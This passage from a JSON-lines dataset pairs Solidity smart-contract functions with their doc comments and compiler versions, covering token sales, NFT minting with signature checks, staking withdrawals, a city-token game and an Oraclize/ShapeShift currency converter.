"0.6.7"} {"comment": "// ------------------------------------------------------------------------\n// 1 YAR Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 12;\r\n } else {\r\n tokens = msg.value * 10;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\r\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\r\n */", "function_code": "function _safeMint(\r\n address to,\r\n uint256 tokenId,\r\n bytes memory _data\r\n ) internal virtual {\r\n _mint(to, tokenId);\r\n require(\r\n _checkOnERC721Received(address(0), to, tokenId, _data),\r\n \"ERC721: transfer to non ERC721Receiver implementer\"\r\n );\r\n \r\n emit Transfer(address(0), to, tokenId);\r\n \r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @param A The input array to search\r\n * @param a The address to remove\r\n */", "function_code": "function removeStorage(address[] storage A, address a)\r\n internal\r\n {\r\n (uint256 index, bool isIn) = indexOf(A, a);\r\n if (!isIn) {\r\n revert(\"Address not in array.\");\r\n } else {\r\n uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here\r\n if (index != lastIndex) { A[index] = A[lastIndex]; }\r\n A.pop();\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Returns the combination of the two arrays\r\n * @param A The first array\r\n * @param B The second array\r\n * @return Returns A extended by B\r\n */", "function_code": "function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) {\r\n uint256 aLength = A.length;\r\n uint256 bLength = B.length;\r\n address[] memory newAddresses = new address[](aLength + bLength);\r\n for (uint256 i = 0; i < aLength; i++) {\r\n newAddresses[i] = A[i];\r\n }\r\n for (uint256 j = 0; j < bLength; j++) {\r\n newAddresses[aLength + j] = B[j];\r\n }\r\n return newAddresses;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Instructs the SetToken to transfer the ERC20 token to a recipient.\r\n * The new SetToken balance must equal the existing balance less the quantity transferred\r\n *\r\n * @param _setToken SetToken instance to invoke\r\n * @param _token ERC20 token to transfer\r\n * @param _to The recipient account\r\n * @param _quantity The quantity to transfer\r\n */", "function_code": "function strictInvokeTransfer(\r\n ISetToken _setToken,\r\n address _token,\r\n address _to,\r\n uint256 _quantity\r\n )\r\n internal\r\n {\r\n if (_quantity > 0) {\r\n // Retrieve current balance of token for the SetToken\r\n uint256 existingBalance = IERC20(_token).balanceOf(address(_setToken));\r\n\r\n Invoke.invokeTransfer(_setToken, _token, _to, _quantity);\r\n\r\n // Get new balance of transferred token for SetToken\r\n uint256 newBalance = IERC20(_token).balanceOf(address(_setToken));\r\n\r\n // Verify only the transfer quantity is subtracted\r\n require(\r\n newBalance == existingBalance.sub(_quantity),\r\n \"Invalid post transfer balance\"\r\n );\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @dev Performs the power on a specified value, reverts on overflow.\r\n */", "function_code": "function safePower(\r\n uint256 a,\r\n uint256 pow\r\n )\r\n internal\r\n pure\r\n returns (uint256)\r\n {\r\n require(a > 0, \"Value must be positive\");\r\n\r\n uint256 result = 1;\r\n for (uint256 i = 0; i < pow; i++){\r\n uint256 previousResult = result;\r\n\r\n // Using safemath multiplication prevents overflows\r\n result = previousResult.mul(a);\r\n }\r\n\r\n return result;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Calculates the new default position unit and performs the edit with the new unit\r\n *\r\n * @param _setToken Address of the SetToken\r\n * @param _component Address of the component\r\n * @param _setTotalSupply Current SetToken supply\r\n * @param _componentPreviousBalance Pre-action component balance\r\n * @return Current component balance\r\n * @return Previous position unit\r\n * @return New position unit\r\n */", "function_code": "function calculateAndEditDefaultPosition(\r\n ISetToken _setToken,\r\n address _component,\r\n uint256 _setTotalSupply,\r\n uint256 _componentPreviousBalance\r\n )\r\n internal\r\n returns(uint256, uint256, uint256)\r\n {\r\n uint256 currentBalance = IERC20(_component).balanceOf(address(_setToken));\r\n uint256 positionUnit = _setToken.getDefaultPositionRealUnit(_component).toUint256();\r\n\r\n uint256 newTokenUnit;\r\n if (currentBalance > 0) {\r\n newTokenUnit = calculateDefaultEditPositionUnit(\r\n _setTotalSupply,\r\n _componentPreviousBalance,\r\n currentBalance,\r\n positionUnit\r\n );\r\n } else {\r\n newTokenUnit = 0;\r\n }\r\n\r\n editDefaultPosition(_setToken, _component, newTokenUnit);\r\n\r\n return (currentBalance, positionUnit, newTokenUnit);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * ONLY MANAGER: Remove stored component from array. Checks to see if there's a duplicate component and\r\n * that module has not been previously used. Calls remove component which will remove first instance\r\n * of component in the array and set used to true to make sure removeComponent() cannot be called again.\r\n */", "function_code": "function removeComponent() external onlyManagerAndValidSet(setToken) {\r\n require(!used, \"Module has been used\");\r\n\r\n address[] memory components = setToken.getComponents();\r\n uint256 componentCount;\r\n for (uint256 i = 0; i < components.length; i++) {\r\n if (component == components[i]) {\r\n componentCount = componentCount.add(1);\r\n }\r\n }\r\n require(componentCount > 0, \"Component does not have duplicate\");\r\n\r\n setToken.removeComponent(component);\r\n\r\n used = true;\r\n }", "version": "0.6.10"} {"comment": "// called by factory to set interest rate redirection for Aave tokens", "function_code": "function claim(address _token, address _to) external {\r\n require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check\r\n require(_token != token0 && _token != token1, 'UniswapV2: FORBIDDEN'); // sufficient check\r\n _safeTransfer(_token, _to, IERC20(_token).balanceOf(address(this)));\r\n }", "version": "0.5.16"} {"comment": "// Withdraw staked tokens\n// First withdraws unlocked tokens, then earned tokens. Withdrawing earned tokens\n// incurs a 50% penalty which will be burnt", "function_code": "function withdrawEarning(uint256 amount) public {\r\n require(amount > 0, \"Cannot withdraw 0\");\r\n Balances storage bal = userBalances[msg.sender];\r\n uint256 penaltyAmount = 0;\r\n\r\n uint256 remaining = amount;\r\n bal.earned = bal.earned.sub(remaining);\r\n for (uint i = 0; ; i++) {\r\n uint256 earnedAmount = _userEarnings[msg.sender][i].amount;\r\n if (earnedAmount == 0) {\r\n continue;\r\n }\r\n if (penaltyAmount == 0 && _userEarnings[msg.sender][i].unlockTime > block.timestamp) {\r\n penaltyAmount = remaining;\r\n require(bal.earned >= remaining, \"Insufficient balance after penalty\");\r\n bal.earned = bal.earned.sub(remaining);\r\n if (bal.earned == 0) {\r\n delete _userEarnings[msg.sender];\r\n break;\r\n }\r\n remaining = remaining.mul(2);\r\n }\r\n if (remaining <= earnedAmount) {\r\n _userEarnings[msg.sender][i].amount = earnedAmount.sub(remaining);\r\n break;\r\n } else {\r\n delete _userEarnings[msg.sender][i];\r\n remaining = remaining.sub(earnedAmount);\r\n }\r\n }\r\n\r\n\r\n wasabi.safeTransfer(msg.sender, amount);\r\n\r\n accumulatedPenalty = accumulatedPenalty + penaltyAmount;\r\n\r\n emit EarningWithdraw(msg.sender, amount, penaltyAmount);\r\n }", "version": "0.6.12"} {"comment": "// Final balance received and penalty balance paid by user upon calling exit", "function_code": "function withdrawableEarning(\r\n address user\r\n )\r\n public\r\n view\r\n returns (uint256 amount, uint256 penaltyAmount, uint256 amountWithoutPenalty)\r\n {\r\n Balances storage bal = userBalances[user];\r\n\r\n if (bal.earned > 0) {\r\n uint256 length = _userEarnings[user].length;\r\n for (uint i = 0; i < length; i++) {\r\n uint256 earnedAmount = _userEarnings[user][i].amount;\r\n if (earnedAmount == 0) {\r\n continue;\r\n }\r\n if (_userEarnings[user][i].unlockTime > block.timestamp) {\r\n break;\r\n }\r\n amountWithoutPenalty = amountWithoutPenalty.add(earnedAmount);\r\n }\r\n\r\n if (bal.earned.sub(amountWithoutPenalty) % 2 == 0) {\r\n penaltyAmount = bal.earned.sub(amountWithoutPenalty).div(2);\r\n } else {\r\n penaltyAmount = bal.earned.sub(amountWithoutPenalty).div(2) + 1;\r\n }\r\n }\r\n amount = bal.earned.sub(penaltyAmount);\r\n\r\n return (amount, penaltyAmount, amountWithoutPenalty);\r\n }", "version": "0.6.12"} {"comment": "// Returns a boolean if this oracle can provide data for the requested pair, used during FNFT creation\n// If the oracle does not exist, this will revert the transaction", "function_code": "function getPairHasOracle(address asset, address compareTo) public view override returns (bool) {\n //First, check if standard ERC20 with decimals() method\n uint decimals = ERC20(asset).decimals();\n uint price = oracle.assetToAsset(asset, 10**decimals, compareTo, TWAP_PERIOD);\n return true;\n }", "version": "0.8.4"} {"comment": "// @dev Presale Mint\n// @param tokenCount The tokens a user wants to purchase\n// @param presaleMaxMint The max tokens a user can mint from the presale\n// @param factionId Community: 0 and Theos: 1\n// @param sig Server side signature authorizing user to use the presale", "function_code": "function mintPresale(\n uint256 tokenCount, \n uint256 presaleMaxMint, \n uint256 factionId,\n bytes memory sig\n ) external nonReentrant payable {\n require(factionId == 0 || factionId == 1, \"Faction is not valid\");\n require(_isPresaleActive, \"Presale not active\");\n require(!_isSaleActive, \"Cannot mint while main sale is active\");\n require(tokenCount > 0, \"Must mint at least 1 token\");\n require(tokenCount <= presaleMaxMint, \"Token count exceeds limit\");\n require((MINT_PRICE * tokenCount) == msg.value, \"ETH sent does not match required payment\");\n require(presaleMaxMint <= 6, \"The max that a random user can mint in the presale is 6\");\n require(!presaleClaimed[msg.sender], \"Already minted in the presale with this address\");\n \n // Verify signature\n bytes32 message = getPresaleSigningHash(msg.sender, tokenCount, presaleMaxMint, factionId).toEthSignedMessageHash();\n require(ECDSA.recover(message, sig) == signVerifier, \"Permission to call this function failed\");\n\n presaleClaimed[msg.sender] = true;\n\n // Mint\n _handleFactionMint(\n tokenCount, \n factionId, \n msg.sender, \n COMMUNITY_MINT_SUPPLY,\n THEOS_MINT_SUPPLY\n );\n }", "version": "0.8.0"} {"comment": "// @dev Main sale mint\n// @param tokensCount The tokens a user wants to purchase\n// @param factionId Community: 0 and Theos: 1", "function_code": "function mint(uint256 tokenCount, uint256 factionId) \n external nonReentrant payable {\n require(factionId == 0 || factionId == 1, \"Faction is not valid\");\n require(_isSaleActive, \"Sale not active\");\n require(tokenCount > 0, \"Must mint at least 1 token\");\n require(tokenCount <= maxMintPerTransaction, \"Token count exceeds limit\");\n require((MINT_PRICE * tokenCount) == msg.value, \"ETH sent does not match required payment\");\n\n _handleFactionMint(\n tokenCount, \n factionId, \n msg.sender, \n COMMUNITY_MINT_SUPPLY,\n THEOS_MINT_SUPPLY\n );\n }", "version": "0.8.0"} {"comment": "// @dev Private mint function reserved for company.\n// 44 Community and 44 Theos are reserved.\n// @param recipient The user receiving the tokens\n// @param tokenCount The number of tokens to distribute\n// @param factionId Community: 0 and Theos: 1", "function_code": "function mintToAddress(address recipient, uint256 tokenCount, uint256 factionId) \n external onlyOwner {\n require(isSaleFinished(), \"Sale has not concluded\");\n require(factionId == 0 || factionId == 1, \"Faction does not exist\");\n require(tokenCount > 0, \"You can only mint more than 0 tokens\");\n\n _handleFactionMint(\n tokenCount, \n factionId, \n recipient, \n COMMUNITY_MINT_SUPPLY + COMMUNITY_STAFF_SUPPLY,\n THEOS_MINT_SUPPLY + THEOS_STAFF_SUPPLY\n );\n }", "version": "0.8.0"} {"comment": "/**\r\n * @param _tokenId uint256 ID of new token\r\n * @param _payoutPercentage uint256 payout percentage (divisible by 10)\r\n */", "function_code": "function createPromoListing(uint256 _tokenId, uint256 _startingPrice, uint256 _payoutPercentage) onlyOwner() public {\r\n uint256 countryId = _tokenId % COUNTRY_IDX;\r\n address countryOwner;\r\n uint256 price;\r\n (countryOwner,,price,,) = countryContract.getCountryData(countryId);\r\n require (countryOwner != address(0));\r\n\r\n if (_startingPrice == 0) {\r\n if (price >= thirdCap) _startingPrice = price.div(80);\r\n else if (price >= secondCap) _startingPrice = price.div(75);\r\n else _startingPrice = 0.002 ether;\r\n }\r\n\r\n createListing(_tokenId, _startingPrice, _payoutPercentage, countryOwner);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev createListing Adds new ERC721 Token\r\n * @param _tokenId uint256 ID of new token\r\n * @param _payoutPercentage uint256 payout percentage (divisible by 10)\r\n * @param _owner address of new owner\r\n */", "function_code": "function createListing(uint256 _tokenId, uint256 _startingPrice, uint256 _payoutPercentage, address _owner) onlyOwner() public {\r\n\r\n // make sure price > 0\r\n require(_startingPrice > 0);\r\n // make sure token hasn't been used yet\r\n require(cityData[_tokenId].price == 0);\r\n \r\n // create new token\r\n City storage newCity = cityData[_tokenId];\r\n\r\n newCity.owner = _owner;\r\n newCity.price = _startingPrice;\r\n newCity.lastPrice = 0;\r\n newCity.payout = _payoutPercentage;\r\n\r\n // store city in storage\r\n listedCities.push(_tokenId);\r\n \r\n // mint new token\r\n _mint(_owner, _tokenId);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Determines next price of token\r\n * @param _price uint256 ID of current price\r\n */", "function_code": "function getNextPrice (uint256 _price) private view returns (uint256 _nextPrice) {\r\n if (_price < firstCap) {\r\n return _price.mul(200).div(94);\r\n } else if (_price < secondCap) {\r\n return _price.mul(135).div(95);\r\n } else if (_price < thirdCap) {\r\n return _price.mul(118).div(96);\r\n } else {\r\n return _price.mul(115).div(97);\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Transfer City from Previous Owner to New Owner\r\n * @param _from previous owner address\r\n * @param _to new owner address\r\n * @param _tokenId uint256 ID of token\r\n */", "function_code": "function transferCity(address _from, address _to, uint256 _tokenId) internal {\r\n\r\n // check token exists\r\n require(tokenExists(_tokenId));\r\n\r\n // make sure previous owner is correct\r\n require(cityData[_tokenId].owner == _from);\r\n\r\n require(_to != address(0));\r\n require(_to != address(this));\r\n\r\n // pay any unpaid payouts to previous owner of city\r\n updateSinglePayout(_from, _tokenId);\r\n\r\n // clear approvals linked to this token\r\n clearApproval(_from, _tokenId);\r\n\r\n // remove token from previous owner\r\n removeToken(_from, _tokenId);\r\n\r\n // update owner and add token to new owner\r\n cityData[_tokenId].owner = _to;\r\n addToken(_to, _tokenId);\r\n\r\n //raise event\r\n Transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Updates the payout for the cities the owner has\r\n * @param _owner address of token owner\r\n */", "function_code": "function updatePayout(address _owner) public {\r\n uint256[] memory cities = ownedTokens[_owner];\r\n uint256 owed;\r\n for (uint256 i = 0; i < cities.length; i++) {\r\n uint256 totalCityOwed = poolTotal * cityData[cities[i]].payout / 10000;\r\n uint256 cityOwed = totalCityOwed.sub(cityData[cities[i]].withdrawn);\r\n owed += cityOwed;\r\n \r\n cityData[cities[i]].withdrawn += cityOwed;\r\n }\r\n payoutBalances[_owner] += owed;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Return all city data\r\n * @param _tokenId uint256 of token\r\n */", "function_code": "function getCityData (uint256 _tokenId) external view \r\n returns (address _owner, uint256 _price, uint256 _nextPrice, uint256 _payout, address _cOwner, uint256 _cPrice, uint256 _cPayout) \r\n {\r\n City memory city = cityData[_tokenId];\r\n address countryOwner;\r\n uint256 countryPrice;\r\n uint256 countryPayout;\r\n (countryOwner,,countryPrice,,countryPayout) = countryContract.getCountryData(_tokenId % COUNTRY_IDX);\r\n return (city.owner, city.price, getNextPrice(city.price), city.payout, countryOwner, countryPrice, countryPayout);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Approves another address to claim for the ownership of the given token ID\r\n * @param _to address to be approved for the given token ID\r\n * @param _tokenId uint256 ID of the token to be approved\r\n */", "function_code": "function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {\r\n address owner = ownerOf(_tokenId);\r\n require(_to != owner);\r\n if (approvedFor(_tokenId) != 0 || _to != 0) {\r\n tokenApprovals[_tokenId] = _to;\r\n Approval(owner, _to, _tokenId);\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Internal function to clear current approval and transfer the ownership of a given token ID\r\n * @param _from address which you want to send tokens from\r\n * @param _to address which you want to transfer the token to\r\n * @param _tokenId uint256 ID of the token to be transferred\r\n */", "function_code": "function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal isNotContract(_to) {\r\n require(_to != address(0));\r\n require(_to != ownerOf(_tokenId));\r\n require(ownerOf(_tokenId) == _from);\r\n\r\n clearApproval(_from, _tokenId);\r\n updateSinglePayout(_from, _tokenId);\r\n removeToken(_from, _tokenId);\r\n addToken(_to, _tokenId);\r\n Transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.19"} {"comment": "/// @notice Whitelist mint using the voucher", "function_code": "function whitelistMint(\n NFTVoucher calldata voucher,\n bytes calldata signature,\n uint8 amount\n ) external payable {\n MinterInfo storage minterInfo = _whitelistInfo[_msgSender()];\n // if haven't redeemed then redeem first\n if (minterInfo.stageId < stageInfo.stageId) {\n // make sure that the signer is authorized to mint NFTs\n _verify(voucher, signature);\n // check current stage\n require(voucher.stageId == stageInfo.stageId, \"Wrong stage\");\n // update minter info\n minterInfo.stageId = voucher.stageId;\n minterInfo.remain = voucher.amount;\n }\n\n // check time\n require(block.timestamp >= stageInfo.startTime, \"Sale not started\");\n require(block.timestamp <= stageInfo.endTime, \"Sale already ended\");\n // check if enough remain\n require(amount <= minterInfo.remain, \"Not enough remain\");\n // check if exceed\n require(\n totalSupply() + amount <= stageInfo.maxSupply,\n \"Exceed stage max supply\"\n );\n // check fund\n require(msg.value >= stageInfo.mintPrice * amount, \"Not enough fund\");\n super._safeMint(_msgSender(), amount);\n minterInfo.remain -= amount;\n }", "version": "0.8.4"} {"comment": "/// @notice Public mint", "function_code": "function publicMint(uint8 amount) external payable {\n // check public mint stage\n require(\n stageInfo.stageId == PUBLIC_STAGE_ID,\n \"Public mint not started\"\n );\n // check time\n require(block.timestamp >= stageInfo.startTime, \"Sale not started\");\n require(block.timestamp <= stageInfo.endTime, \"Sale already ended\");\n // check if exceed total supply\n require(totalSupply() + amount <= MAX_SUPPLY, \"Exceed total supply\");\n // check fund\n require(msg.value >= stageInfo.mintPrice * amount, \"Not enough fund\");\n // batch mint\n super._safeMint(_msgSender(), amount);\n }", "version": "0.8.4"} {"comment": "/// @dev Verify voucher", "function_code": "function _verify(NFTVoucher calldata voucher, bytes calldata signature)\n private\n view\n {\n bytes32 digest = _hashTypedDataV4(\n keccak256(\n abi.encode(\n keccak256(\n \"NFTVoucher(address redeemer,uint8 stageId,uint8 amount)\"\n ),\n _msgSender(),\n voucher.stageId,\n voucher.amount\n )\n )\n );\n require(\n owner() == ECDSA.recover(digest, signature),\n \"invalid or unauthorized\"\n );\n }", "version": "0.8.4"} {"comment": "/// @dev Go to next stage", "function_code": "function nextStage(StageInfo memory _stageInfo) external onlyOwner {\n require(\n _stageInfo.stageId >= stageInfo.stageId,\n \"Cannot set to previous stage\"\n );\n require(_stageInfo.maxSupply <= MAX_SUPPLY, \"Set exceed max supply\");\n require(_stageInfo.stageId <= PUBLIC_STAGE_ID, \"Public is final stage\");\n stageInfo = _stageInfo;\n }", "version": "0.8.4"} {"comment": "// This will not throw error on wrong input, but instead consume large and unknown amount of gas\n// This should never occure as it's use with the ShapeShift deposit return value is checked before calling function", "function_code": "function parseAddr(string _a) internal returns (address){\r\n bytes memory tmp = bytes(_a);\r\n uint160 iaddr = 0;\r\n uint160 b1;\r\n uint160 b2;\r\n for (uint i=2; i<2+2*20; i+=2){\r\n iaddr *= 256;\r\n b1 = uint160(tmp[i]);\r\n b2 = uint160(tmp[i+1]);\r\n if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;\r\n else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;\r\n else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;\r\n if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;\r\n else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;\r\n else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;\r\n iaddr += (b1*16+b2);\r\n }\r\n return address(iaddr);\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Callback function for use exclusively by Oraclize.\r\n * @param myid The Oraclize id of the query.\r\n * @param result The result of the query.\r\n */", "function_code": "function __callback(bytes32 myid, string result) {\r\n if (msg.sender != oraclize.cbAddress()) revert();\r\n\r\n uint conversionID = oraclizeMyId2conversionID[myid];\r\n\r\n if( bytes(result).length == 0 ) {\r\n ConversionAborted(conversionID, \"Oraclize return value was invalid, this is probably due to incorrect convert() argments\");\r\n recoverable[conversions[conversionID].returnAddress] += conversions[conversionID].amount;\r\n conversions[conversionID].amount = 0;\r\n }\r\n else {\r\n address depositAddress = parseAddr(result);\r\n require(depositAddress != msg.sender); // prevent DAO tpe re-entracy vulnerability that can potentially be done by Oraclize\r\n uint sendAmount = conversions[conversionID].amount;\r\n conversions[conversionID].amount = 0;\r\n if (depositAddress.send(sendAmount)) {\r\n ConversionSentToShapeShift(conversionID, conversions[conversionID].returnAddress, depositAddress, sendAmount);\r\n }\r\n else {\r\n ConversionAborted(conversionID, \"deposit to address returned by Oraclize failed\");\r\n recoverable[conversions[conversionID].returnAddress] += sendAmount;\r\n }\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Cancel a cryptocurrency conversion.\r\n * This should only be required to be called if Oraclize fails make a return call to __callback().\r\n * @param conversionID The conversion ID of the cryptocurrency conversion, generated during engine().\r\n */", "function_code": "function cancelConversion(uint conversionID) external {\r\n Conversion memory conversion = conversions[conversionID];\r\n\r\n if (conversion.amount > 0) {\r\n require(msg.sender == conversion.returnAddress);\r\n recoverable[msg.sender] += conversion.amount;\r\n conversions[conversionID].amount = 0;\r\n ConversionAborted(conversionID, \"conversion cancelled by creator\");\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Sets up a ShapeShift cryptocurrency conversion using Oraclize and the ShapeShift API. Must be sent more Ether than the Oraclize price.\r\n * Returns a conversionID which can be used for tracking of the conversion.\r\n * @param _coinSymbol The coinsymbol of the other blockchain to be used by ShapeShift. See engine() function for more details.\r\n * @param _toAddress The address on the other blockchain that the converted cryptocurrency will be sent to.\r\n * Example first two arguments:\r\n * \"ltc\", \"LbZcDdMeP96ko85H21TQii98YFF9RgZg3D\" Litecoin\r\n * \"btc\", \"1L8oRijgmkfcZDYA21b73b6DewLtyYs87s\" Bitcoin\r\n * \"dash\", \"Xoopows17idkTwNrMZuySXBwQDorsezQAx\" Dash\r\n * \"zec\", \"t1N7tf1xRxz5cBK51JADijLDWS592FPJtya\" ZCash\r\n * \"doge\", \"DMAFvwTH2upni7eTau8au6Rktgm2bUkMei\" Dogecoin\r\n * Test symbol pairs using ShapeShift API (shapeshift.io/validateAddress/[address]/[coinSymbol]) or by creating a test\r\n * conversion on https://shapeshift.io first whenever possible before using it with InterCrypto.\r\n * @param _returnAddress The Ethereum address that any Ether should be sent back to in the event that the ShapeShift conversion is invalid or fails.\r\n */", "function_code": "function engine(string _coinSymbol, string _toAddress, address _returnAddress) internal returns(uint conversionID) {\r\n conversionID = conversionCount++;\r\n\r\n if (\r\n !isValidString(_coinSymbol, 6) || // Waves smbol is \"waves\"\r\n !isValidString(_toAddress, 120) // Monero integrated addresses are 106 characters\r\n ) {\r\n ConversionAborted(conversionID, \"input parameters are too long or contain invalid symbols\");\r\n recoverable[msg.sender] += msg.value;\r\n return;\r\n }\r\n\r\n uint oraclizePrice = getInterCryptoPrice();\r\n\r\n if (msg.value > oraclizePrice) {\r\n Conversion memory conversion = Conversion(_returnAddress, msg.value-oraclizePrice);\r\n conversions[conversionID] = Conversion(_returnAddress, msg.value-oraclizePrice);\r\n\r\n string memory postData = createShapeShiftConversionPost(_coinSymbol, _toAddress);\r\n bytes32 myQueryId = oraclize_query(\"URL\", \"json(https://shapeshift.io/shift).deposit\", postData);\r\n\r\n if (myQueryId == 0) {\r\n ConversionAborted(conversionID, \"unexpectedly high Oraclize price when calling oraclize_query\");\r\n recoverable[msg.sender] += msg.value-oraclizePrice;\r\n conversions[conversionID].amount = 0;\r\n return;\r\n }\r\n oraclizeMyId2conversionID[myQueryId] = conversionID;\r\n ConversionStarted(conversionID);\r\n }\r\n else {\r\n ConversionAborted(conversionID, \"Not enough Ether sent to cover Oraclize fee\");\r\n conversions[conversionID].amount = 0;\r\n recoverable[msg.sender] += msg.value;\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Returns true if a given string contains only numbers and letters, and is below a maximum length.\r\n * @param _string String to be checked.\r\n * @param maxSize The maximum allowable sting character length. The address on the other blockchain that the converted cryptocurrency will be sent to.\r\n */", "function_code": "function isValidString(string _string, uint maxSize) constant internal returns (bool allowed) {\r\n bytes memory stringBytes = bytes(_string);\r\n uint lengthBytes = stringBytes.length;\r\n if (lengthBytes < 1 ||\r\n lengthBytes > maxSize) {\r\n return false;\r\n }\r\n\r\n for (uint i = 0; i < lengthBytes; i++) {\r\n byte b = stringBytes[i];\r\n if ( !(\r\n (b >= 48 && b <= 57) || // 0 - 9\r\n (b >= 65 && b <= 90) || // A - Z\r\n (b >= 97 && b <= 122) // a - z\r\n )) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Returns a concatenation of seven bytes.\r\n * @param b1 The first bytes to be concatenated.\r\n * ...\r\n * @param b7 The last bytes to be concatenated.\r\n */", "function_code": "function concatBytes(bytes b1, bytes b2, bytes b3, bytes b4, bytes b5, bytes b6, bytes b7) internal returns (bytes bFinal) {\r\n bFinal = new bytes(b1.length + b2.length + b3.length + b4.length + b5.length + b6.length + b7.length);\r\n\r\n uint i = 0;\r\n uint j;\r\n for (j = 0; j < b1.length; j++) bFinal[i++] = b1[j];\r\n for (j = 0; j < b2.length; j++) bFinal[i++] = b2[j];\r\n for (j = 0; j < b3.length; j++) bFinal[i++] = b3[j];\r\n for (j = 0; j < b4.length; j++) bFinal[i++] = b4[j];\r\n for (j = 0; j < b5.length; j++) bFinal[i++] = b5[j];\r\n for (j = 0; j < b6.length; j++) bFinal[i++] = b6[j];\r\n for (j = 0; j < b7.length; j++) bFinal[i++] = b7[j];\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Returns the ShapeShift shift API string that is needed to be sent to Oraclize.\r\n * @param _coinSymbol The coinsymbol of the other blockchain to be used by ShapeShift. See engine() function for more details.\r\n * @param _toAddress The address on the other blockchain that the converted cryptocurrency will be sent to.\r\n * Example output:\r\n * ' {\"withdrawal\":\"LbZcDdMeP96ko85H21TQii98YFF9RgZg3D\",\"pair\":\"eth_ltc\",\"returnAddress\":\"558999ff2e0daefcb4fcded4c89e07fdf9ccb56c\"}'\r\n * Note that an extra space ' ' is needed at the start to tell Oraclize to make a POST query\r\n */", "function_code": "function createShapeShiftConversionPost(string _coinSymbol, string _toAddress) internal returns (string sFinal) {\r\n string memory s1 = ' {\"withdrawal\":\"';\r\n string memory s3 = '\",\"pair\":\"eth_';\r\n string memory s5 = '\",\"returnAddress\":\"';\r\n string memory s7 = '\"}';\r\n\r\n bytes memory bFinal = concatBytes(bytes(s1), bytes(_toAddress), bytes(s3), bytes(_coinSymbol), bytes(s5), bytes(addressToBytes(msg.sender)), bytes(s7));\r\n\r\n sFinal = string(bFinal);\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Returns the bytes representation of a provided Ethereum address\r\n * Authored by from https://github.com/axic\r\n * @param _address Ethereum address to be cast to bytes\r\n */", "function_code": "function addressToBytes(address _address) internal returns (bytes) {\r\n uint160 tmp = uint160(_address);\r\n\r\n // 40 bytes of space, but actually uses 64 bytes\r\n string memory holder = \" \";\r\n bytes memory ret = bytes(holder);\r\n\r\n // NOTE: this is written in an expensive way, as out-of-order array access\r\n // is not supported yet, e.g. we cannot go in reverse easily\r\n // (or maybe it is a bug: https://github.com/ethereum/solidity/issues/212)\r\n uint j = 0;\r\n for (uint i = 0; i < 20; i++) {\r\n uint _tmp = tmp / (2 ** (8*(19-i))); // shr(tmp, 8*(19-i))\r\n uint nb1 = (_tmp / 0x10) & 0x0f; // shr(tmp, 8) & 0x0f\r\n uint nb2 = _tmp & 0x0f;\r\n ret[j++] = byte(nibbleToChar(nb1));\r\n ret[j++] = byte(nibbleToChar(nb2));\r\n }\r\n\r\n return ret;\r\n }", "version": "0.4.15"} {"comment": "// function mint(uint256 count) external payable {\n// require(isMintingOn , 'minting not started');\n// require(count < MAX_MINT_COUNT, 'Max Mint per Txn exceeded');\n// require(totalPublicSupply + count < MAX_SUPPLY, 'All testnets have already been minted!');\n// require(tokenPrice * count == msg.value, 'Insufficient / Incorrect Funds');\n// for (uint256 i =0 ;i < count + 1 ; i++){\n// _safeMint(msg.sender, totalPublicSupply + i);\n// }\n// totalPublicSupply += count;\n// }", "function_code": "function mint(uint256 freeCount, uint256 paidCount) external payable {\r\n require(isMintingOn, 'minting not started');\r\n uint256 count = freeCount + paidCount;\r\n // Total\r\n require(count < MAX_MINT_COUNT, 'Max Mint per Txn exceeded');\r\n // Free\r\n require(\r\n hasUserFreeMinted[msg.sender] == false || freeCount == 0,\r\n 'user already free minted'\r\n );\r\n require(freeCount < MAX_FREE_MINT_COUNT, 'free mints exceed count');\r\n require(\r\n totalFreeSupply + freeCount < MAX_FREE_SUPPLY,\r\n 'free mints exceed supply'\r\n );\r\n // Paid\r\n require(\r\n tokenPrice * paidCount == msg.value,\r\n 'Insufficient / Incorrect Funds'\r\n );\r\n require(\r\n totalPublicSupply + count < MAX_SUPPLY,\r\n 'All testnets have already been minted!'\r\n );\r\n\r\n for (uint256 i = 1; i < count + 1; 